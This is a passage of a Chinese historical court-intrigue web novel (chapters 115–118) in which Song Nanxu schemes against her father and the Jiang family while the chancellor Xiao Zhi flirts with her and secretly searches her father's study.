宋南絮站在抄手回廊下,注视着宋昭踉跄的身形,眸子里闪过了一抹冷凝的霜华。 看来,药物起效了呢! 一个愚蠢的安远侯,一个虚弱的世子,宋南絮倒是为了这安远侯府的将来担忧了呢。 宋萧然今日踏上前往丞相府的马车,便着了她的道,端淑一事,不过是一个蒙蔽他心眼的障眼法而已。 宋南絮和萧止真正的目的便是在此! 萧止是一把双刃剑,皇帝不得不的服从,早已成了心结,宋南絮先是引导宋萧然将自己的把柄递到皇帝手中,再通过端淑一事,将他引导向萧止。 皇帝不会让一个权臣一直左右自己。 但,他更不需要一个左右摇摆不定的墙头草。 在皇帝清算萧止之前,一定会先出掉宋萧然。 不论此事如果,宋萧然在皇帝的心里已经判了死刑。 再加上,宋南絮亲手断了端淑和姜太师这条路,宋萧然如今已经走入了一条死巷中,他的解决早已注定,现在只需要等一个时机而已。 倘若宋萧然此刻冷静仔细想想,以他的心性会立即想出其中关键。 但,宋南絮刚刚有心激怒他,目的就是为了让他乱了阵脚,没有时间仔细思量其中厉害,将全部希望都寄托在了突然出现在祖母寿宴的萧止身上。 宋南絮坐在窗下,看着手中一卷书册。 算算时辰,这会儿,宋萧然已经到了丞相府。 萧止想要调查当年承晏太子谋逆案,他既然怀疑到了宋萧然的身上,这便是一个最好接近的时机。 这么多年,安远侯府按照老侯爷的吩咐,不与京中世家结交,不与皇亲国戚过于亲密,以至于,萧止没有个正当的理由接近,他才会行此下策,夜探安远侯府。 究竟宋萧然的内书房有什么秘密。 他在隐藏着什么,宋南絮相信以萧止的心术,用不了多久便能够窥视其中秘密。 宋南絮抬眸看着窗外天色。 暮色像一匹侵了淡金的绸缎,正黄欢蔓延过青灰色的屋脊,檐角的同铃晃了晃,谁最后一声余响跌进了渐浓的霞光中,惊得栖息在枯萎的老树上的寒鸦振翅而飞,羽翼掠过了天边半落的夕阳。 “姑娘。” 青雀跨过了门槛,走近了宋南絮闺房里间。 宋南絮方向了手中书卷,缓缓侧目,目光淡然漫过青雀。 青雀快步上前,朝她屈膝一福:“姜太师已经进宫了。” 姜闻重隐退多年不上朝堂,今日,为了自己的孙儿总算是踏出了太师府。 宋南絮淡淡一笑:“青雀,接下来的事情就要辛苦你了。” 第115章 外人,内人 夜色像一块侵了墨的布,沉甸甸地压在头顶,连星子都多得无影无踪,枯萎的槐树在风里晃着,树影在斑驳的墙上扭曲成张牙舞爪的怪物,时不时有枯叶“簌簌”落下的声响。 一道黑影窜上墙头,避开了大理寺夜巡的官兵,潜入了大理寺牢房。 “什么人!?” 牢房内官兵发现了来人的身影,纷纷拔出腰间横刀指向来人。 一袭黑色劲装黑纱遮面的青雀,从腰间拿出了一个白玉瓷瓶,猛地朝着大理寺官兵掷了出去。 随着“啪”的一声脆响,一股腥甜的味道迅速在牢房内散开。 紧接着,官兵们一一倒下。 青雀从牢头的身上拿走了牢门的钥匙,她跃过倒地不起的官兵,一间一间牢房走过,直到最里面的一间停下了脚步。 姜崇焕盘膝而坐,一双精亮的眸子紧紧地盯着站在牢门的青雀:“你是何人!?” 青雀抬眼看着他,学着男子的声线道:“是三公子派我来救您的。” 姜崇焕:“三哥!?” 青雀颔首道:“太师已与大公子、二公子商定了此事,已于今日黄昏时分进宫面圣,因闹出了人命,所以陛下已下旨决定严惩五公子,决定明日五十斩首!” “什么!?” 姜崇焕不可置信。 青雀打开了牢门,急声催促道:“来不及了五公子,太师已经安排好了,请您立刻跟我离开!” 姜崇焕半眯着眼睛,目光在青雀的身上逡巡。 他虽不如四个兄长聪明,但也不是傻子。 若当真是他二哥派来的人,必然上太师府之人,又岂会不以真面目示人。 姜崇焕一脸戒备地看着青雀:“你并非是我二哥派来的人?你到底是谁!?” 青雀并没有回答他的话。 黑色面纱的嘴角微微上扬,在即将靠近姜崇焕时猛然出手。 银晃晃的匕首在浅薄的月光下闪烁着森然的寒芒,在匕首刺向姜崇焕咽喉的一瞬,他立即抬手挡住了青雀的袭击。 姜崇焕醉心于武学,乃是各种翘楚,紧一瞬,便立刻做出了回击。 他一手撑着地面,抬腿便是又狠又猛的一脚,直接踹向了青雀心口。 青雀向后弯腰,翻身避开了姜崇焕袭来的一脚。 姜崇焕猛然起身,一套连环拳,招式凌厉凶猛,每一拳都直取青雀要害。 青雀见时机成熟也不恋战,一边同姜崇焕对战,一边朝着大理寺的大牢外跑。 姜崇焕一门心思只想要拿下这个闯入牢房的杀手,招招凌厉,式式凶猛,全然没有留意,自己已在这场对决之中,闯出了大理寺的牢房。 青雀见他已经中计,快速躲避,和他拉开了距离。 姜崇焕刚欲上前,忽然瞧见了面前的黑衣人从身后拿出了一枚霹雳弹。 他瞳孔猛然一缩,不假思索一般立刻向后闪身。 “轰!”的一声巨响,姜崇焕面前是一片浓烟,当他抬手挥散了面前烟雾时,早已经没有黑衣人杀手的身影。 姜崇焕站在原地,深深地皱起了眉头,仔细思量回想刚刚一幕,似是要从其中找出蛛丝马迹。 可是—— 他还没能相明白到底是什么人想要刺杀自己时,已经被闻声而来的大理寺官兵团团围住。 横刀与长枪抵在他脖子的那一刻,姜崇焕忽然意识到了什么,他猛然瞪大了双眼。 刚刚的那名黑衣杀手并非是要取自己性命,而是要引诱自己出大牢!! 可姜崇焕却想不明白,对方为什么要这么做! 次日。 天刚亮,昨夜姜崇焕打伤了大理寺官兵越狱一事便在金陵城中传得沸沸扬扬。 姜家在得知了这个消息后,如同炸了锅一般。 昨夜,姜老太师以三朝元老的颜面,为自己那不争气且十分愚蠢的孙儿换取了一线生机,然而,让他没想到的是,仅仅只过了一夜,他竟又捅出了这么大的篓子! 墨香居。 宋南絮缓睁双眸,映入眼帘的是一张极为俊美到近乎妖孽一般的脸。 她眉心深凝,下意识地推开了近在咫尺的男子:“你怎么会在我房中?!” 萧止白皙修长的手指把玩着宋南絮的一丝法缕,眼弯似弦月,唇畔含了一缕笑意:“自然是安远侯请我来的。” 宋南絮蹙眉:“请你到他女儿的闺房?” 萧止笑道:“当然不是,而是请我过品茗。” 宋南絮:“一大早喝得哪门子的茶。” 她站了起来,警惕地看了看窗外。 萧止倏然抬手,一把将她拉了回来:“放心好了,没有外人在。” 宋南絮挣开了萧止的手,蹙着眉头,瞪眼看着他:“你不就是外人!!” 萧止嘴角微微抽搐。 下一秒,他便深深地低下了头,一副哀伤模样,娇嗔地说:“我一门心思对你,何到了你口中,原来我才是那个外人。” 宋南絮翻了个白眼。 这男人—— 哪里有半点权臣的模样。 萧止见她不语,抬起了头,眨了眨一双桃花似的眼:“絮儿,你说若我今日向你父亲提亲的话,他会不会将你今夜就送去我府上?” 宋南絮嗔了他一眼:“你若不怕死,大可一试!” “当真?” 萧止眼底是藏不住的惊喜。 宋南絮冷下了脸,眸子瞥向了绣床旁的案几上的针线魄罗中的一把金剪。 萧止顺着她的视线看了过去,嘴角用力一扯,下意识地打了一个哆嗦,小声咕哝道:“你将我当外人,我却把你当内人,你个小没良心的。” 他声音虽小,但宋南絮却听得真切。 她将眉心拧成了麻花状,微微叹气摇头:“一大早的你胡言乱语什么!” 萧止定定地望着她:“你怎知我是胡言乱语?” 他站了起来,走到了宋南絮的面前,高出她两个头的身量,垂下了眸子,凝视着她的眼睛:“倘若我说的都是真的呢?” 男人的嘴,骗人的鬼! 倘若这般花言巧语宋南絮都相信的话,那她岂不是白重生了一回。 “哼!”宋南絮轻哼了一声,全然不在意萧止故意做出来的神情模样:“我与你相识这么长的时间,什么时候从你萧相爷的口中听见过一句实话!?呵呵——” 她哂笑出声:“真与假!这天底下若凡事都能论真假的话,便早已海晏河清,又岂有今日局面!” 第116章 为你画眉,同他算账 海晏河清! 呵! 对于现在的皇城来说,简直就是一个笑话。 新帝登基朝中局势不稳定,太后垂帘听政,端淑欲要谋权,太师纵横谋划,各方诸侯、朝中官员不作为。 若非当年萧止铁腕狠烈,如今的天下—— 可即使这般,他还是着了有心人的道。 蚀心蛊毒一旦发作,他便如同一只嗜血的猛兽,隐藏在黑暗之中的猎人伺机而动,随着等待着给他致命的一击! 宋南絮见他有一瞬间的恍神,扯过了衣架上挂着的外裳披在了身上。 萧止回过了神来,恢复了他以往玩世不恭的模样:“听闻昨夜太师府的五公子打上了大理寺的官兵越狱了,可是你安排的?” 宋南絮不置可否地笑了笑。 萧止朝她竖起了大拇指:“我那老谋深算的老师,昨日进宫,舍下了一张老脸求得皇帝宽宥了姜崇焕,你棋走此招,臊他了个没脸,想必眼下,太师府已然成了金陵城的笑话。” 宋南絮系上了领口的盘扣,轻笑出声:“既已做出选择,那就怪不得我了。” 深秋的冷风裹挟着枯叶卷进了微微敞开的窗,落在了宋南絮的妆台前,她在庵堂中五年,即使冬日也要在冰冷的河水里洗衣裳,她怕冷极了,还没入冬便已穿上了冬装。 萧止就安静地坐在她的绣床之上,看着宋南絮坐在妆台前梳头。 今儿有萧止叨扰,宋南絮起了个大早,这会儿墨香居的女使们还没来伺候,她便自行洗漱、梳头、上妆。 直到她在脸上扑上了脂粉,萧止才凑了过来,没等宋南絮反应过来,他便一把夺去了她手中的青黛。 “你作甚?!” 萧止一本正经了起来:“别动。” 他专注地看着宋南絮的脸:“你这眉画的不好,若是画成远山黛应该更衬你的气色。” 宋南絮蹙眉:“你还懂这些?” 萧止挺直了腰杆:“别忘了,我可是荒淫无度的浪荡奸佞之徒,这种事本相爷可要比你擅长的多。” 瞧着宋南絮别开了来,萧止竟将她的侧脸板正了过来:“都说了别动。” 宋南絮还没等反应,萧止手中的青黛已经落在了她的眉宇间:“你——” 萧止挑了一下眉,用警告的口吻说:“你若不想被我画成个大花脸,尽管挣扎便是。” 宋南絮微微蹙眉,苦奈自己没有他矫健的身手,根本抢不回自己的青黛。 萧止如笔走龙蛇一般,在宋南絮的眉宇间画来画去,须臾,他心满意足地点了点头:“嗯,画好了,这远山黛当真是极衬你的美貌。” 宋南絮哪里肯相信他的鬼话,身手便要去拿妆台上的铜镜。 萧止见状,一把抢了过来:“不用看,我保准你今日明艳动人。” 越听他这话,宋南絮心里就越是觉得他没憋什么好心思:“拿来!” 萧止见她过来抢,身子向后一躲。 宋南絮扑了个空,竟半个身子爬在了萧止的身上。 一瞬,她的脸仿佛染上了一层霞光。 她快速起身,凝眸瞪着萧止:“快将铜镜还给我!” 萧止将铜镜高高举过了头顶:“有本事自己来抢!” “萧止,你这混——” ‘蛋’字还没有宣之于口,墨香居门外倏地传来了翠珠的声音:“姑娘,你可是起身了?” 宋南絮瞪了萧止一眼,转头看向门口:“你们先在门外候——” 她一转头,萧止已经不在她的房中。 话也还没说完,翠珠、翠柳、彩玉带着几个小丫头推开了门,端着铜盆,漱口杯,青瓷痰盂等鱼贯而入。 翠珠看见了宋南絮,猛然瞪大了眼睛:“哎呀!姑娘,你怎么把自个儿画成了这样?!” 宋南絮深深地皱起了眉头。 她就知道萧止没按好心思。 “噗嗤!” 瞧着自家姑娘把自个儿画成了这幅样子,她越是皱眉,几个丫头就越是觉得心酸。 宋南絮回过了身,拿过了妆台上的铜镜自照。 顿时,脸色倏地沉了下来。 这狗男人竟将她画成了一字眉。 那眉又粗又黑,像极了两条首尾相连的七扭八歪的蜈蚣! 几个丫头连忙给宋南絮重新洗漱,上妆,更衣。 彩玉给宋南絮挑选了一支发簪,簪于髻上。 宋南絮透过铜镜眉目含笑,看了她一眼:“彩玉,你翠珠姐姐给你挑选的姑爷可还欢喜?” 彩玉闻言,蓦地红了脸,低下了头,用力跺了跺脚:“姑娘!一大早,您就拿奴婢打趣儿!“ 翠珠拿了一副翡翠的耳铛在宋南絮的耳垂上比了比,唇畔含笑道:“姑娘有所不知,咱们彩玉姑娘极是中意,昨儿还拖人卖了两批红缎,已经开始绣嫁衣了呢。” 宋南絮会心一笑:“你喜欢便好,你起初到我身边不就是为了寻一个妥帖的夫君,我已经请老太太身边的李嬷嬷去打听了,这家人厚道,踏实,定会好好待你。” 她对着铜镜照了照,扶了扶髻上盈盈晃动的步摇流苏,对翠珠吩咐道:“回头你去外院找庞管事,将彩玉的身契要来,放了她的身契,也好正儿八经的做人家的正头太太。” “姑娘!” 彩玉闻言,顿时红了眼睛。 她连忙给宋南絮跪了下来,抬眸时,泪水早已夺眶而出:“奴婢——” 彩玉声音哽咽,一时间说不出话来,她重重给宋南絮磕了个头,才道:“奴婢本是揣着心思到您身边的,您却——” 宋南絮淡淡笑了笑:“说到底,你不曾将我屋内消息透出去分毫,这段时间伺候的也妥帖,能了你一桩心事,我也不过是举手之劳而已,往后嫁了人踏踏实实的过日子,你不用觉得承了我的恩情,也不用想着如何报答。” “姑娘——” 彩玉听宋南絮这么说,眼泪更是扑簌簌的下。 宋南絮抬了抬手:“好了,这段时间你专心在房里绣嫁妆,不用到近前来伺候了。” “姑娘。” 说话的工夫,门外传来了青雀的声音。 宋南絮朝着门口看了一眼,对青雀微一颔首。 她眸色微敛对房内的几个女使道:“以后彩玉的差事就由青雀接替,翠珠你去同账房说一声,打从今儿起,青雀便是我墨香居中的二等女使。” 宋南絮对屋内几人挥了挥手:“这里有青雀伺候便可,你们先去吧。” “是。” 待房间中只剩下了二人时,青雀举步上前:“姑娘,前院派人传来了消息,侯爷请您去招待贵客。” 宋南絮蹙眉:“外院的客人怎会让我内宅女儿前去招待?可知是何人?” 青雀回道:“是丞爷。” 宋南絮哂笑一声:“呵!还真是父亲请他来的!好啊!姑奶奶正好有一账想要和他清算呢!” 第117章 以女待客,别有用心 “絮儿,你来的正好。” 宋南絮一到前院正厅,宋萧然立刻起身,朝她招了招手:“为父刚刚还与相爷提起了你。” 宋萧然将巴结讨好、阿谀奉承、趋附谄谀,表现的淋漓尽致。 隔着一条长廊,远远瞧了去宋南絮都觉着一阵阵的恶心,却还要微笑示人,好生没趣。 走过了长廊,行至近前。 宋南絮盈盈一礼:“女儿见过父亲、见过相爷。” 萧止一脸闲散模样,抬眸时,瞧见宋南絮已经重新上了妆容的脸,险些没忍住笑出声音来。 宋南絮恶狠狠地剜了他一眼。 萧止微一挑眉,挑衅般地看着宋南絮。 宋萧然:“絮儿,过来坐。” “是。”宋南絮应声,俯身坐在了宋萧然的身边。 她刚一落座,忽然感觉桌子底下有人轻轻地碰了她一下。 不用猜也知道,是坐在她对面的浪荡子所为。 宋南絮狠狠地瞪了他一眼。 萧止得意地笑笑:“大小姐今日妆容——” 他的话戛然而止,引得宋萧然将目光落在了宋南絮的妆容上。 宋萧然仔细瞧了瞧,虽说宋南絮的气色不如五年前离开安远侯府时的明艳动人,但尚在她的五官容貌放眼金陵城也算是排的上号的。 他并没有在宋南絮的脸上瞧出什么端倪来,疑惑不解地看着萧止。 萧止笑道:“本相瞧大小姐一双似嗔似喜的青烟眉,倒是颇有几分古韵。” 这混蛋! 宋南絮眼中满是恼怒,却碍于宋萧然在场又不好发作:“承蒙相爷夸赞,倘若相爷喜欢,我可以差遣身边女使为相爷画眉。” 闻言,萧止还未说什么,宋萧然却是脸色一变:“絮儿,你怎能如此无礼!” “不妨事,本相倒是极喜欢大小姐的这个性子,天真可爱,不染尘埃,现如今这个世道,能如大小姐这般纯真的姑娘,只怕也再难寻得。” 萧止的话虽然是对宋萧然说的,但他的眼睛却始终定格在宋南絮的身上。 宋萧然闻言,眼里闪烁着精明的流光。 萧止如今已二十有七,自他入世已来,从未听闻他身边有女子出现。 曾经也有不少朝中官员想要走此途径,但结果却—— 如果,能将宋南絮送到他的府上—— 宋萧然眯起了眼睛。 想来结果,也不会比宫中差,即便不能陪王伴驾,但现如今皇帝都要看萧止的脸色,倘若当真能够成事的话,那岂不是要比将宋南絮送进宫中换来的利益更大!! 自老夫人寿宴,宋萧然便瞧出来萧止对宋南絮的不同。 莫非—— 宋萧然眼珠子转了转,流连在萧止与宋南絮之间。 他是过来人,自是察觉出了一丝的耐人询问。 唇角微微上扬,若萧止当真有心,宋萧然必定会做这个人情。 一个女儿不能承袭爵位,唯一的用途便只有联姻。 与其将来嫁给旁人,倒不如用她来换取更大的利益。 宋萧然见萧止面前茶盏空了,用手肘轻轻地撞了一下宋南絮的胳膊,微一挑眉,于她耳畔轻言道:“去给相爷斟茶。” 宋南絮淡淡地瞥了宋萧然一眼。 他倒是丝毫不加掩饰,这算盘珠子都要打到了自个儿的脸上。 宋南絮徐徐起身,端起了桌案上的茶壶,走到了萧止的面前,为他斟上了一盏茶:“相爷请慢用。” 萧止微微挑眉,眉如墨染,眼中含星,一错不错地盯着宋南絮。 宋萧然极有眼力见儿,立马‘不经意’地打翻了茶盏,又那么‘刚好’的弄湿了衣襟。 他站了起来:“啧!瞧我这般不小心竟当着相爷的面弄湿了衣襟,还请相爷稍作等候,我去换身衣裳就来。” 临走前,宋萧然目光中别有深意地看了宋南絮一眼:“絮儿,你且暂替为父好好招待相爷。” 说罢,宋萧然走出了安远侯府正厅。 走到了门口,他左右看了看候在门两侧的贾荣与薛宝瑞,对其二人使了个眼色,吩咐道:“你二人到廊下等候盯着,切莫让人惊扰了相爷。” “是。” 待到正厅之中只剩下了宋南絮和萧止二人后,宋南絮倏地冷下了脸,沉声质问道:“你到底想要做什么?” 萧止难得一本正经:“和你父亲提亲!” 宋南絮白了他一眼:“你若是再胡言乱语,仔细我割了你的舌头!” 萧止故做哀伤模样,长而密的睫羽低头,眼中似饱含伤感,一手捂着自个儿的心口,轻轻叹了一口气:“絮儿,连你父亲都瞧出了我对你的心思,你怎就如此铁石心肠。” 宋南絮眼角余光朝着门口瞥了一眼,见贾荣和薛宝瑞已退至廊下,从他二人的角度,绝对不会看见正厅内所发生的事情。 她坐在了萧止的身边,启唇道:“好了,别演了,我父亲的人没在门外。” 萧止抬起了眼,朝着门口看去。 宋南絮朱唇微启,用只有他们能够听见的声音对萧止问道:“你究竟有什么打算?” 萧止收起了脸上的玩世不恭:“倘若一炷香过后,你父亲比我先回来,你帮我拖延一二。” 说罢,萧止直接扯开了身上的华服,其内里是一身黑衣劲装。 宋南絮瞧见了他的这身装扮,顷刻间便明白了他的意图:“好!你从后窗走,绕过二门,经过垂花廊,便能瞧见我母亲的锦绣院,我父亲的内书房就在锦绣院的后院。” 萧止颔了颔首,闪身来到窗前,纵身一跃跳出了窗外。 安远侯府的正厅之中,已然只留宋南絮一人。 她端坐在桌前,自斟自饮。 以宋南絮对宋萧然的了解,这会子应该是去了白氏的闲月阁更衣。 从侯府正厅到闲月阁一来一回约莫要一炷香的时间,再加上,宋萧然别有用心的图谋,想必他不会这么快回来。 萧止完全有足够的时间潜入宋萧然的内书房。 至于,安远侯府中那位用箭高手,前金吾卫的大统领刘勋—— 宋南絮微微地眯起了眼睛,以萧止的身手定然不在话下,只看他要做到什么程度。 眼瞧着一炷香时间已过,仔细算来,宋萧然也应该快要回来了。 宋南絮抬起了眸子,朝着不远处的回廊看去,果不其然,更换了衣裳的宋萧然已然走进了回廊之中。 第118章 月满而盈,月盈而亏 眼瞧着宋萧然走过了回廊,径直朝着这边走了过来。 宋南絮不紧不慢,脸上是一片云淡风轻,独坐在了桌案前,品着宋萧然精心准备的上品茗茶。 宋萧然走近了正厅时却不见萧止的声音。 他下意识地皱起了眉头,沉声问道:“相爷呢?” 宋南絮放下手中茶盏,站起了身,微一颔首道:“相爷说咱们府中花园的秋牡丹开得极盛,想要赏玩一二。” 宋萧然眉头皱得愈发深邃:“花园!?” 他刚刚来时,曾经过了侯府花园,并未见到其中有人:“刚刚——” “父亲。” 宋南絮几乎是与宋萧然同时开口。 “您既与选择了背靠相爷,可想好了今后的路要如何走下去么?” 宋南絮这么一问,倒是将宋萧然给问住了。 他有一瞬间的愣神,渐渐将眉心拧成了麻花状。 这个问题—— 他倒还真没有想过。 从昨晚拜访丞相府到现在,宋萧然一门心思都是如何讨好萧止,让他成为自己的助力,成为自己的依靠。 放眼整个朝堂,谁人不想向丞相大人递交投名状。 奈何,萧止此人深居浅出,除宫中有大事外,已有一年余未见过此人进入朝堂。 那些想要拜入萧止名下之人,苦无一个门路罢了。 而今,萧止出现在老夫人的寿宴上,更似乎对宋南絮有意,宋萧然将一门心思都用在这上面。 能够攀上萧止这棵大树,一门心思的钻营,全然忘却了月满而盈,月盈而亏的道理。 宋南絮的提醒,一瞬间让宋萧然翘起来的尾巴耷拉了下去。 她说的并非没有道理。 只是宋萧然一时没有想通其中关键而已。 待他冷静下来时,问题接踵而至。 宋萧然攀附上了萧止不假,却也因此会失去很多,比如宫中!! 在此之前,安远侯府一直都谨遵老侯爷遗愿从未涉足党争之中,而今,宋萧然左右横跳,摇摆不定,短短几日的时间,又是端淑大长公主,又是太师府,现下再来一个萧止—— 先前他亲手送到皇帝手中的把柄,如今看起来全然像是一个笑话! 只怕—— 仅是一瞬,宋萧然便想通了宋南絮所问之言的关键之处。 他脸色倏地一变:“你是说宫里!?” 宋南絮不置可否。 宋萧然蹙眉道:“即便圣上与太后都要对萧相忌惮七分,如今,咱们府上与相爷——” 宋南絮微抬眼眸,眼底似冰冷的寒潭一般,深深地看了宋萧然一眼,轻哂一声道:“父亲该不会是想要用我来绑上丞相大人吧?” 宋萧然的确是这么想。 但这些话说出口,却显得他这个父亲的平庸与无能,只能够靠着女儿来做依附萧止的筹码。 “呵!”宋南絮冷然一笑:“倘若父亲这么做,那就大错特错了!” 宋萧然不解:“你这是何意?!” 宋南絮道:“父亲若是想要再次卖掉女儿图谋侯府的以后,女儿无话可说!” 宋萧然脸色立显不悦:“放肆!” 宋南絮脸上冷笑变得越发浓郁了起来。 眼角余光瞥见了一道身影从侧面窗户闪过。 她便没有再继续说下去。 宋南絮话锋一转,说道:“萧相回来了,还请父亲仔细思量以后应该如何走得更为长远才是。” 她这话—— 宋萧然眯起了眼睛。 显然,她是知道应该如何去做的。 自己的确是小看了这个女儿! 五年的时间不见,似乎,她的改变岂是翻天覆地那么简单! 倘若宋南絮是男儿身的话—— 他半眯着眼,目光始终在宋南絮的身上逡巡。 宋南絮却懒得多看他一眼,话已说到,又帮着萧止拖延了时间,足以! 她重新坐了下来,依旧是一副对一切事物都冷淡的模样。 萧止举步跨过了门槛,手中竟还当真拿了一株秋牡丹:“侯爷,贵府花园中的秋牡丹,真是让人赏心悦目啊。” 宋萧然回过了头,脸上堆满了谄媚的笑:“若是相爷喜欢,我稍后便派人送去您府上。” 萧止狭长的凤眸淡淡一瞥宋南絮:“这倒也不必了,若本相什么时候想看了,再到贵府中来欣赏。” 宋萧然:“我府上的大门永远为相爷打开,只要您想,随着都可以来。” 宋南絮只觉得一阵恶寒。 这么恶心的话,她不知道宋萧然是如何说出口的! 萧止眼含笑意,坐在了宋南絮的身边,随手将摘下来的秋牡丹递到了宋南絮的面前:“鲜花赠美人。” 宋南絮剜了萧止一眼。 这混蛋竟还不忘乱来! 萧止微微挑了一下眉:“怎么?大小姐不喜欢这秋牡丹?” 宋南絮淡淡开了口:“我不喜欢花儿草儿的。” 萧止朝她身边凑了凑:“大小姐喜欢什么?你说来便是,就算是天上的月亮,本相爷也可摘下来送你。” 宋南絮眉眼弯弯,脸上总算是有了一丝丝笑意:“相爷说的可当真!?” 萧止一脸笃定:“本相从不说假话。” “咳!”宋萧然见二人如此亲密的举动,心下更是欢喜,身为人父,见有人这般调戏自己的女儿,不但不加阻止,反而还转过了身子,当做无事发生一般。 宋南絮冷冷地瞥了宋萧然一眼,嘴角蔓延过了一抹轻嘲。 随后,她抬眸看向萧止,用只有二人能够听见的声音说道:“我想要你狗爪子!” 萧止笑了笑:“絮儿可是想要我的手每日为你画眉么?” 宋南絮咬了一下唇,桌下的脚倏地用力踩住了萧止的鞋面,还不忘用力地捻了捻。 萧止嘴角微微抽搐了一下。 宋南絮起身:“父亲,女儿就不留下来打扰您与相爷品茗了。” 说罢,她不等宋萧然应答,径直地走出了安远侯府正厅。 萧止也跟着站了起来,竟然将宋萧然晾在了一边,直接追了出来。 宋萧然满眼惊讶:“相爷——” 萧止恍若未闻其声一般,快步追上了宋南絮,只留下了宋萧然一人不尴不尬地站在原地。 宋萧然看着二人渐行渐远的背影,倏地眯起了眼睛。 仅一瞬,他眼眸之中没有了先前的谄媚丰盈和愚蠢,取而代之的是一抹森然的寒意,顷刻间,仿佛整个厅堂内的温度都降至到了冰点!